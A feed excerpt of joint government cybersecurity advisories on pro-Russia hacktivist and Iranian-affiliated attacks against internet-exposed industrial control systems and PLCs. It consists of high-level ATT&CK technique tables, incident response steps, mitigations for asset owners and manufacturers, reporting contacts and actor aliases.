<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 9. Impair Process Control</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Modify Parameter</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a></td>
<td>Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.</td>
</tr>
<tr>
<td>Unauthorized Command Message</td>
<td><a href="https://attack.mitre.org/techniques/T0855/" target="_blank" title="T0855" data-entity-type="external">T0855</a></td>
<td>Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 10. Impact</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><a class="ck-anchor"><strong>Technique Title</strong></a></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Loss of Productivity and Revenue</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a></td>
<td>Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.</td>
</tr>
<tr>
<td>Loss of View</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a></td>
<td>Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. </td>
</tr>
<tr>
<td>Manipulation of Control</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a></td>
<td>Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  </td>
</tr>
</tbody>
</table>
<h2><strong>Incident Response</strong></h2>
<p>If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:</p>
<ol>
<li><strong>Determine which hosts were compromised and isolate them</strong> by quarantining or taking them offline.</li>
<li><strong>Initiate threat hunting activities to scope the intrusion</strong>. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.</li>
<li><strong>Reimage compromised hosts</strong>.</li>
<li><strong>Provision new account credentials</strong>.</li>
<li><strong>Report the compromise to CISA, FBI, and/or NSA</strong>. See the <a href="https://www.cisa.gov/#Contact" title="Contact Information"><strong>Contact Information</strong></a> section of this advisory.</li>
<li><strong>Harden the network to prevent additional malicious activity</strong>. See the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations "><strong>Mitigations </strong></a>section of this advisory for guidance.</li>
</ol>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<h3><strong>OT Asset Owners and Operators</strong></h3>
<p>The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<ul>
<li><strong>Reduce exposure of OT assets to the public-facing internet.</strong> When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>].
<ul>
<li><strong>Asset owners should use attack surface management services </strong>and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.<br><strong>Note:</strong> For more information on attack surface management, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/exposure-reduction" title="Internet Exposure Reduction Guidance">Internet Exposure Reduction Guidance</a>, CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> for U.S. critical infrastructure, and NSA’s <a href="https://www.nsa.gov/Portals/75/documents/resources/everyone/Attack%20Surface%20Management%20copy.pdf" target="_blank" title="Attack Surface Management" data-entity-type="external">Attack Surface Management</a> for the U.S. Defense Industrial Base.</li>
<li><strong>Implement network segmentation between IT and OT networks.</strong> Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementLogicalPhysicalNetworkSegmentation3I" title="CPG 3.I">CPG 3.I</a>].</li>
<li><strong>Consider implementing a firewall and/or virtual private network</strong> if exposure to the internet is necessary for controlling access to devices.
<ul>
<li>Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.</li>
<li>Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.</li>
<li>Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.</li>
<li>Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.</li>
</ul>
</li>
</ul>
</li>
<li><strong>Adopt mature asset management processes</strong>, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ManageOrganizationalAssets2A" title="CPG 2.A">CPG 2.A</a>].
<ul>
<li><strong>Keep remote access services updated </strong>with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
<ul>
<li>Keep VNC systems updated with the latest version available.</li>
</ul>
</li>
<li><strong>Refer to the joint </strong><a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators"><strong>Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</strong></a> to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.</li>
</ul>
</li>
<li><strong>Ensure OT assets use robust authentication procedures.</strong>
<ul>
<li>Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.</li>
<li>Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ChangingDefaultPasswords3A" title="CPG 3.A">CPG 3.A</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B" title="CPG 3.B">CPG 3.B</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C" title="CPG 3.C">CPG 3.C</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>].</li>
<li>Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MonitorUnsuccessfulAutomatedLoginAttempts3E" title="CPG 3.E">CPG 3.E</a>].</li>
<li>Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ProhibitConnectionofUnauthorizedDevices3R" title="CPG 3.R">CPG 3.R</a>].</li>
<li>Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.</li>
</ul>
</li>
<li><strong>Enable control system security features </strong>that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#AdministratorsMaintainSeparateUserandPrivilegedAccounts3G" title="CPG 3.G">CPG 3.G</a>].</li>
<li><strong>Implement and practice business recovery/disaster recovery plans.</strong> Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
<ul>
<li>Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IncidentPlanningandPreparedness6A" title="CPG 6.A">CPG 6.A</a>].</li>
<li>Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainSystemBackupsRestorationAbility3O" title="CPG 3.O">CPG 3.O</a>].</li>
</ul>
</li>
<li><strong>Collect and monitor the traffic of OT assets and networking devices.</strong> This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.</li>
<li><strong>Review configurations for setpoint ranges or tag values </strong>to stay within safe ranges and establish alerting for deviations.</li>
<li><strong>Take a proactive approach in the procurement process</strong> by following the guidance outlined in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
</ul>
<h3>OT Device Manufacturers</h3>
<p>Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a>.</p>
<ul>
<li><strong>Eliminate default credentials and require strong passwords.</strong> The use of default credentials is a top weakness threat actors exploit to gain access to systems.</li>
<li><strong>Mandate MFA for privileged users.</strong> Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.</li>
<li><strong>Practice secure by default principles. </strong>OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
<ul>
<li><strong>Include logging at no additional charge.</strong> Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.</li>
</ul>
</li>
<li><strong>Publish Software Bill of Materials (SBOMs).</strong> Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s <a href="https://www.cisa.gov/sbom" title="Software Bill of Materials">SBOM webpage</a> for more information.</li>
</ul>
<p>Additionally, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="Secure by Design Alert">Secure by Design Alert</a> on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&amp;CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&amp;CK techniques described in this advisory.</p>
<p>To start:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to<strong> </strong><a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<p>Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:</p>
<ul>
<li>CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s <a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators">Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</a> offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.</li>
<li>CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on <a href="https://www.cisa.gov/resources-tools/resources/defending-ot-operations-against-ongoing-pro-russia-hacktivist-activity" title="Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity">Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity</a> that can help organizations protect OT systems from pro-Russia hacktivist activity.</li>
<li>NSA and CISA’s guidance on <a href="https://media.defense.gov/2022/Sep/22/2003083007/-1/-1/0/CSA_ICS_Know_the_Opponent_.PDF" target="_blank" title="Control System Defense: Know the Opponent" data-entity-type="external">Control System Defense: Know the Opponent</a> helps organizations defend OT and ICS assets against malicious cyber activity.</li>
<li>CISA and EPA’s resource page on <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a> to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
<ul>
<li>For additional guidance, see CISA, EPA, and FBI’s fact sheet on <a href="https://www.cisa.gov/resources-tools/resources/top-cyber-actions-securing-water-systems" title="Top Cyber Actions for Securing Water Systems">Top Cyber Actions for Securing Water Systems</a>.</li>
</ul>
</li>
<li>The Food and Ag-ISAC’s best practices on <a href="https://www.idfa.org/wordpress/wp-content/uploads/2023/07/Food-and-Ag-ISAC-Cybersecurity-Guide-2023_IDFA.pdf" target="_blank" title="Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises" data-entity-type="external">Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises</a> provides recommendations to help mitigate against cyber threats.</li>
<li>DOE and National Association of Regulatory Utility Commissioners <a href="https://www.naruc.org/core-sectors/critical-infrastructure-and-cybersecurity/cybersecurity-for-utility-regulators/cybersecurity-baselines/" target="_blank" title="Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)" data-entity-type="external">Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)</a> webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.</li>
</ul>
<p>Additional resources that apply to this advisory include:</p>
<ul>
<li>EPA’s <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector" data-entity-type="external">Cybersecurity for the Water Sector</a> resource page provides organizations with guidance on implementing basic cyber hygiene practices.</li>
<li>CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals">Cross-Sector Cybersecurity Performance Goals</a> enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.</li>
<li>CISA’s <a href="https://www.cisa.gov/audiences/small-and-medium-businesses/secure-your-business/require-strong-passwords" title="Require Strong Passwords">Require Strong Passwords</a> webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.</li>
<li>CISA, NSA, FBI, EPA, TSA, and international partners’ guidance <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
<li>DOE’s guidance on <a href="https://www.energy.gov/ceser/cyber-informed-engineering" target="_blank" title="Cyber-Informed Engineering" data-entity-type="external">Cyber-Informed Engineering</a> recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.</li>
<li>CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.</li>
<li>CISA, NSA, FBI, and international partners’ guidance on <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a> urges software manufacturers to provide customers with products that are safer and more secure.
<ul>
<li>See more information in these Secure by Design Alerts: <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-manufacturers-can-protect-customers-eliminating-default-passwords" title="How Manufacturers Can Protect Customers by Eliminating Default Passwords">How Manufacturers Can Protect Customers by Eliminating Default Passwords</a> and <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity">How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity</a>.</li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p><strong>U.S. organizations</strong> are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:</p>
<ul>
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov" title="contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472) or your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office" data-entity-type="external">FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" target="_blank" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
</ul>
<p><strong>Australian organizations:</strong> Visit <a href="https://www.cyber.gov.au/" target="_blank" title="cyber.gov.au" data-entity-type="external">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</p>
<p><strong>Canadian organizations:</strong> Report incidents by emailing Cyber Centre at <a href="mailto:contact@cyber.gc.ca" target="_blank" title="contact@cyber.gc.ca">contact@cyber.gc.ca</a>.</p>
<p><strong>New Zealand organizations:</strong> Report cyber security incidents to <a href="mailto:incidents@ncsc.govt.nz" target="_blank" title="incidents@ncsc.govt.nz">incidents@ncsc.govt.nz</a> or call 04 498 7654.</p>
<p><strong>United Kingdom organizations:</strong> Report a significant cyber security incident: <a href="https://report.ncsc.gov.uk/" target="_blank" title="report.ncsc.gov.uk" data-entity-type="external">report.ncsc.gov.uk</a> (monitored 24 hours) or, for urgent assistance, call 03000 200 973.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.</p>
<h2><strong>Version History</strong></h2>
<p><strong>December 09, 2025:</strong> Initial version.</p>
<h2><strong>Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups</strong></h2>
<p>For further information on targeting methodologies for pro-Russia hacktivist groups, see:</p>
<ul>
<li>CISA’s alert <a href="https://www.cisa.gov/news-events/alerts/2025/05/06/unsophisticated-cyber-actors-targeting-operational-technology" title="Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology">Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology</a>;</li>
<li>The joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a>; and</li>
<li>CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Cyber Threat">Russia Cyber Threat</a> webpage.</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a></h2>
<p>The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.</p>
<p><strong>Note:</strong> Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.</p>
<ul>
<li>GRU military unit 74455
<ul>
<li>Sandworm Team</li>
<li>Voodoo Bear</li>
<li>Seashell Blizzard</li>
<li>APT44</li>
</ul>
</li>
<li>Cyber Army of Russia Reborn (CARR)
<ul>
<li>CyberArmy of Russia</li>
<li>Народная CyberАрмия (НКА)</li>
<li>People’s CyberArmy of Russia (PCA)</li>
<li>Russian CyberArmy Team (RCAT)</li>
</ul>
</li>
<li>NoName057(16)
<ul>
<li>NoName057(16) Spain</li>
<li>NoName057(16) Italy</li>
<li>NoName057(16) France</li>
</ul>
</li>
<li>Z-Pentest
<ul>
<li>Z-Pentest Beograd</li>
<li>Z-Pentest Alliance</li>
<li>Z-Alliance</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure]]></title>
<description><![CDATA[Advisory at a Glance



Title
Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure


Original Publication
April 7, 2026


Last Update 
July 22, 2026


Executive Summary
The authoring agencies urgently warn U.S. organizations of ongoing Iranian-a...]]></description>
<link>https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:12:34 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Advisory at a Glance</strong></h2>
<table>
<tbody>
<tr>
<th>Title</th>
<td>Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure</td>
</tr>
<tr>
<th>Original Publication</th>
<td><strong>April 7, 2026</strong></td>
</tr>
<tr>
<th>Last Update </th>
<td><strong>July 22, 2026</strong></td>
</tr>
<tr>
<th>Executive Summary</th>
<td>The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.</td>
</tr>
<tr>
<th>Last Update Description</th>
<td>This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.</td>
</tr>
<tr>
<th>Affected Products</th>
<td>Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.</td>
</tr>
<tr>
<th>Key Actions</th>
<td>
<ul type="square">
<li>Install PLCs consistent with manufacturers' guidelines and security best practices.</li>
<li>Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action.</li>
<li>Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including <code>44818</code>, <code>2222</code>, <code>102</code>, and <code>502</code>, especially traffic originating from foreign hosting providers.</li>
<li>For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.</li>
</ul>
</td>
</tr>
<tr>
<th>Indicators of Compromise</th>
<td>
<p>For a downloadable copy of July 22, 2026<strong> </strong>IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.xml">AA26-097A STIX XML</a> (July 2026) (29 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.json">AA26-097A STIX JSON</a> (July 2026) (30 KB)</li>
</ul>
<p>For a downloadable copy of historical April 7, 2026 IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.xml" title="AA26-097A STIX XML">AA26-097A STIX XML</a> (36 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.json" title="AA26-097A STIX JSON">AA26-097A STIX JSON</a> (12 KB)<br> </li>
</ul>
</td>
</tr>
<tr>
<th>Intended Audience</th>
<td>
<p><strong>Organizations:</strong> Critical Infrastructure</p>
<p><strong>Sectors: </strong><a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a> (WWS), and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> </p>
<p><strong>Roles: </strong>Integrators, asset owners, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/defensive-cybersecurity" title="Defensive cybersecurity analysts">defensive cybersecurity analysts</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/operational-technology-ot-cybersecurity-engineering" title="OT cybersecurity engineers">OT cybersecurity engineers</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/cybersecurity-architecture" title="cybersecurity architects">cybersecurity architects</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/secure-systems-development" title="secure systems developer">secure systems developer</a></p>
</td>
</tr>
</tbody>
</table>
<h2><strong>Introduction</strong></h2>
<p><strong>Note:</strong><em> This advisory was originally published on April 7, 2026, to provide tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) related to ongoing cyber exploitation of internet-connected operational technology (OT) devices by</em> <em>Iranian-affiliated advanced persistent threat (APT) actors. The authoring agencies updated this advisory on July 22, 2026, to add new guidance on detecting malicious changes in reusable code modules leveraged within Rockwell Automation PLC programs. It also expands the manufacturer scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practice resources for secure deployment.</em></p>
<p>The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), Department of Energy (DOE), United States Cyber Command – Cyber National Mission Force (CNMF), and Department of the Treasury (Treasury) (hereafter referred to as the “authoring agencies”) are urgently warning U.S. organizations of ongoing cyber exploitation of internet-connected OT devices—including PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs—across multiple U.S. critical infrastructure sectors. As a result of this activity, organizations from multiple U.S. critical infrastructure sectors experienced disruptions through malicious interactions with PLC project files<a href="https://www.cisa.gov/#Note1"><sup>1</sup></a> and the manipulation of data displayed on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays. In a few cases, this activity caused operational disruption and financial loss.</p>
